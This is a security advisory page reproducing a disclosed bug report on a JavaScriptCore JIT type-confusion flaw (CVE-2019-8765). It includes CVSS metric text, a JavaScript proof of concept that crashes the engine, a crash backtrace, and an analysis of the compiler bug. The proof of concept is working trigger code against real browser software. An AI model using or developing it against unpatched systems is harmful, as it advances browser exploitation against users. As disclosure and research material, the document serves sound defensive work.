The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: JavaScriptCore GetterSetter Type Confusion
JSC: GetterSetter type confusion during DFG compilation
The following JavaScript program, found by Fuzzilli and slightly modified, crashes JavaScriptCore built from HEAD and the current stable release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
let notAGetterSetter = {whatever: 42};
function v2(v5) {
const v10 = Object();
if (v5) {
const v12 = {set:Array};
const v14 = Object.defineProperty(v10,\"length\",v12);
const v15 = (140899729)[140899729];
} else {
v10.length = notAGetterSetter;
}
const v18 = new Uint8ClampedArray(49415);
v18[1] = v10;
const v19 = v10.length;
let v20 = 0;
while (v20 < 100000) {
v20++;
}
}
const v26 = v2();
for (let v32 = 0; v32 < 1000; v32++) {
const v33 = v2(true);
}
/*
Crashes with:
ASSERTION FAILED: from.isCell() && from.asCell()->JSCell::inherits(*from.asCell()->vm(), std::remove_pointer<To>::type::info())
../../Source/JavaScriptCore/runtime/JSCast.h(44) : To JSC::jsCast(JSC::JSValue) [To = JSC::GetterSetter *]
1 0x1111ada79 WTFCrash
2 0x1111ada99 WTFCrashWithSecurityImplication
3 0x10ffb8f55 JSC::GetterSetter* JSC::jsCast<JSC::GetterSetter*>(JSC::JSValue)
4 0x10ffaf820 JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::executeEffects(unsigned int, JSC::DFG::Node*)
5 0x10ff9f37b JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::execute(unsigned int)
6 0x10ff9def2 JSC::DFG::CFAPhase::performBlockCFA(JSC::DFG::BasicBlock*)
7 0x10ff9d957 JSC::DFG::CFAPhase::performForwardCFA()
8 0x10ff9d647 JSC::DFG::CFAPhase::run()
9 0x10ff9cc61 bool JSC::DFG::runAndLog<JSC::DFG::CFAPhase>(JSC::DFG::CFAPhase&)
10 0x10ff6c65b bool JSC::DFG::runPhase<JSC::DFG::CFAPhase>(JSC::DFG::Graph&)
11 0x10ff6c625 JSC::DFG::performCFA(JSC::DFG::Graph&)
12 0x110279031 JSC::DFG::Plan::compileInThreadImpl()
13 0x110274fa6 JSC::DFG::Plan::compileInThread(JSC::DFG::ThreadData*)
14 0x11052a9bb JSC::DFG::Worklist::ThreadBody::work()
15 0x1111b3c69 WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0::operator()() const
16 0x1111b38a9 WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call()
17 0x1102c433a WTF::Function<void ()>::operator()() const
18 0x1111f0350 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*)
19 0x111285525 WTF::wtfThreadEntryPoint(void*)
20 0x7fff5a7262eb _pthread_body
21 0x7fff5a729249 _pthread_start
22 0x7fff5a72540d thread_start
*/
The assertion indicates that a JSCell is incorrectly downcasted to a GetterSetter [1] (a pseudo object used to implement property getters/setter). In non debug builds, a type confusion then follows.
Below is my preliminary analysis of the cause of the bug.
The function v2 is eventually JIT compiled by the FTL JIT compiler. Initially, it will create the following (pseudo) DFG IR for it:
# Block 0 (before if-else):
44: NewObject(...)
<jump to block 1 or 2 depending on v5>
# Block 1 (the if part):
... <install .length property on @44>
// Code for const v15 = (140899729)[140899729];
ForceOSRExit
Unreachable
# Block 2 (the else part)
PutByOffset @44, notAGetterSetter
PutStructure
# Block 3 (after the if-else):
...
// Code for v10.length. Due to feedback from previous executions, DFG
// JIT speculates that the if branch will be taken and that it will see
// v10 with a GetterSetter for .length here
CheckStructure @44, structureWithLengthBeingAGetterSetter
166: GetGetterSetterByOffset @44, .length // Load the GetterSetter object from @44
167: GetGetter @166 // Load the getter function from the GetterSetter
...
Here, the end of block 1 has already been marked as unreachable due to the element load from a number which will always cause a bailout.
Later, the global subexpression elimination phase [2] runs and does the following (which can be seen by enabling verbose CSE [3]):
* It determines that the GetGetterSetterByOffset node loads the named property from the object @44
* It determines that this property slot is assigned in block 2 (the else block) and that this block strictly dominates the current block (meaning that the current block can only be reached through block 2)
* This is now the case as block 1 does a bailout, so block 3 can never be reached from block 1
* As such, CSE replaces the GetGetterSetterByOffset operation with the constant for |notAGetterSetter| (as that is what is assigned in block 2).
At this point the IR is incorrect as the input to a GetGetter operation is expected to be a GetterSetter object, but in this case it is not. During later optimizations, e.g. the AbstractInterpreter relies on that invariant and casts the input to a GetterSetter object [4]. At that point JSC crashes in debug builds with the above assertion. It might also be possible to trigger the type confusion at runtime instead of at compile time but I have not attempted that.
Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
[1] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/runtime/GetterSetter.h#L43
[2] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.h#L49
[3] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L51
[4] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L2811
Related CVE Numbers: CVE-2019-8765.
Found by: [email protected]
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum